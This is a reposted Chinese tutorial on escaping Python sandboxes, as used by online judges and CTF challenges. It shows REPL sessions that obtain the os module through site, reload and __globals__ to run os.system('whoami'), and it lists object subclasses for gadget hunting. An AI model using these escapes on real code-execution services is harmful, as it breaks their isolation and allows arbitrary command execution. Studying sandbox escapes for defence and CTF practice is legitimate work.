加入收藏 | 设为首页 | 会员中心 | 我要投稿 晋中站长网 (https://www.0354zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 运营中心 > 建站资源 > 策划 > 正文

一文看懂Python沙箱逃逸

发布时间:2019-05-23 06:56:07 所属栏目:策划 来源:Macr0phag3
导读:让用户提交 Python 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数,例如 os,研究怎么逃逸、防护这类沙箱还是蛮

由于没法直接引入 os,那么假如有个库叫oos,在oos中引入了os,那么我们就可以通过__globals__拿到 os(__globals__是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os:

  1. >>> import site 
  2. >>> site.os 
  3. <module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'> 

也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用 reload,变相加载 os:

  1. >>> import site 
  2. >>> os 
  3. Traceback (most recent call last): 
  4.   File "<stdin>", line 1, in <module> 
  5. NameError: name 'os' is not defined 
  6. >>> os = reload(site.os) 
  7. >>> os.system('whoami') 
  8. macr0phag3 

还有,既然所有的类都继承的object,那么我们先用__subclasses__看看它的子类,以 2.x 为例:

  1. >>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i 
  2. ... 
  3. (0, <type 'type'>) 
  4. (1, <type 'weakref'>) 
  5. (2, <type 'weakcallableproxy'>) 
  6. (3, <type 'weakproxy'>) 
  7. (4, <type 'int'>) 
  8. (5, <type 'basestring'>) 
  9. (6, <type 'bytearray'>) 
  10. (7, <type 'list'>) 
  11. (8, <type 'NoneType'>) 
  12. (9, <type 'NotImplementedType'>) 
  13. (10, <type 'traceback'>) 
  14. (11, <type 'super'>) 
  15. (12, <type 'xrange'>) 
  16. (13, <type 'dict'>) 
  17. (14, <type 'set'>) 
  18. (15, <type 'slice'>) 
  19. (16, <type 'staticmethod'>) 
  20. (17, <type 'complex'>) 
  21. (18, <type 'float'>) 
  22. (19, <type 'buffer'>) 
  23. (20, <type 'long'>) 
  24. (21, <type 'frozenset'>) 
  25. (22, <type 'property'>) 
  26. (23, <type 'memoryview'>) 
  27. (24, <type 'tuple'>) 
  28. (25, <type 'enumerate'>) 
  29. (26, <type 'reversed'>) 
  30. (27, <type 'code'>) 
  31. (28, <type 'frame'>) 
  32. (29, <type 'builtin_function_or_method'>) 
  33. (30, <type 'instancemethod'>) 
  34. (31, <type 'function'>) 
  35. (32, <type 'classobj'>) 
  36. (33, <type 'dictproxy'>) 
  37. (34, <type 'generator'>) 
  38. (35, <type 'getset_descriptor'>) 
  39. (36, <type 'wrapper_descriptor'>) 
  40. (37, <type 'instance'>) 
  41. (38, <type 'ellipsis'>) 
  42. (39, <type 'member_descriptor'>) 
  43. (40, <type 'file'>) 
  44. (41, <type 'PyCapsule'>) 
  45. (42, <type 'cell'>) 
  46. (43, <type 'callable-iterator'>) 
  47. (44, <type 'iterator'>) 
  48. (45, <type 'sys.long_info'>) 
  49. (46, <type 'sys.float_info'>) 
  50. (47, <type 'EncodingMap'>) 
  51. (48, <type 'fieldnameiterator'>) 
  52. (49, <type 'formatteriterator'>) 
  53. (50, <type 'sys.version_info'>) 
  54. (51, <type 'sys.flags'>) 
  55. (52, <type 'exceptions.BaseException'>) 
  56. (53, <type 'module'>) 
  57. (54, <type 'imp.NullImporter'>) 
  58. (55, <type 'zipimport.zipimporter'>) 
  59. (56, <type 'posix.stat_result'>) 
  60. (57, <type 'posix.statvfs_result'>) 
  61. (58, <class 'warnings.WarningMessage'>) 
  62. (59, <class 'warnings.catch_warnings'>) 
  63. (60, <class '_weakrefset._IterationGuard'>) 
  64. (61, <class '_weakrefset.WeakSet'>) 
  65. (62, <class '_abcoll.Hashable'>) 
  66. (63, <type 'classmethod'>) 
  67. (64, <class '_abcoll.Iterable'>) 
  68. (65, <class '_abcoll.Sized'>) 
  69. (66, <class '_abcoll.Container'>) 
  70. (67, <class '_abcoll.Callable'>) 
  71. (68, <type 'dict_keys'>) 
  72. (69, <type 'dict_items'>) 
  73. (70, <type 'dict_values'>) 
  74. (71, <class 'site._Printer'>) 
  75. (72, <class 'site._Helper'>) 
  76. (73, <type '_sre.SRE_Pattern'>) 
  77. (74, <type '_sre.SRE_Match'>) 
  78. (75, <type '_sre.SRE_Scanner'>) 
  79. (76, <class 'site.Quitter'>) 
  80. (77, <class 'codecs.IncrementalEncoder'>) 
  81. (78, <class 'codecs.IncrementalDecoder'>) 

(编辑:晋中站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读